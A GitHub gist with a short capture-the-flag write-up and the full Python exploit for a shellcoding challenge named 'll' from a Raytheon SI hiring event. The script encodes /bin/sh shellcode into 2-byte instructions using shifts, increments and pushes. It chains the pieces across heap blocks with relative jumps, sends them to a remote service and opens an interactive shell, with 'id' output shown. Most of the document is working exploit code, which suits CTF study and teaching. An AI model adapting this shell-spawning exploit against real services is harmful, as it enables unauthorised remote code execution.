Skip to content

Instantly share code, notes, and snippets.

@ebeip90
Last active August 29, 2015 14:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ebeip90/125524a86b4131af6485 to your computer and use it in GitHub Desktop.
Save ebeip90/125524a86b4131af6485 to your computer and use it in GitHub Desktop.

ll

Simple shellcoding challenge from a Raytheon SI hiring/meet-greet/CTF event.

Basically, you provide data four bytes at a time. This is stored in an 8-byte allocation. The second 4 bytes of the allocation are a pointer to the next allocation.

The challenge is less difficult than it first appears. Looking at the x86 opcodes, there's no way to do a direct JMP or CALL. However, because of the heap layout, you can just do 'jmp $+offset'.

The remaining difficulty is then doing stuff with 2-byte opcodes. I chose to rewrite the pwntools* pushstr method to do it with just 2-byte opcodes by INCing and SHIFTing and PUSHing eax.

Transcript

python push.py
 [+] Opening connection to 107.170.0.195 on port 15232: Done
 [+] Recieving all data: Done
 [*] Switching to interactive mode
$ id
uid=1001(ll) gid=1001(ll) groups=1001(ll)
#!/usr/bin/env python
import sys, struct
from pwn import *
context('i386','linux')
"""
Convert a 'push <value>' into a series of 2-byte-or-less
instructions using only EAX to do the same.
"""
def pushstr_2byte(string, *args, **kwargs):
"""Replacement for pushstr() which pushes the provided
string via 2-byte instructions.
Uses register EAX, zeroes EAX afterward.
"""
string += '\x00' * (len(string) % 4)
dwords = len(string) / 4
asm = []
for i in range(dwords-1,-1,-1):
asm += ['xor eax, eax']
dword = string[i*4:(i+1)*4]
bits = bin(u32(dword))[2:]
bits = '0'*(32-len(bits)) + bits
for bit in bits:
asm += ['shl eax,1']
if bit == '1':
asm += ['inc eax']
asm += ['push eax']
asm += ['xor eax, eax']
return '\n'.join(asm)
shellcode.pushstr = pushstr_2byte
# Need to jump to the next block. Heap is allocated linearly.
# Allocations are aligned to 16 bytes. Before the JMP, there
# are two bytes of instruciton.
jmp = asm('jmp $+14')
# For each single instruction in the shellcode, align up to
# 2 bytes by adding a nop. Then append the 'jmp next_block'
# bytes.
complete_code = ''
lines = []
for block in shellcode.sh().blocks:
lines += block.text.splitlines()
for line in lines:
code = asm(line)
if len(code) == 0: continue
if len(code) == 1: code += '\x90'
if len(code) != 2: print repr(code), sys.exit()
complete_code += code + jmp
# Sanity checks to ensure we don't have any invalid bytes
# or misalignment.
assert '\n' not in complete_code
assert len(complete_code) % 4 == 0
count = len(complete_code) / 4
# Connect to the target
p = remote('pwn.binjit.su', 15232)
# p = process('./ll')
p.send(str(count))
for i in range(count):
val = complete_code[i*4:(i+1)*4]
p.sendline(val)
p.recvall()
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment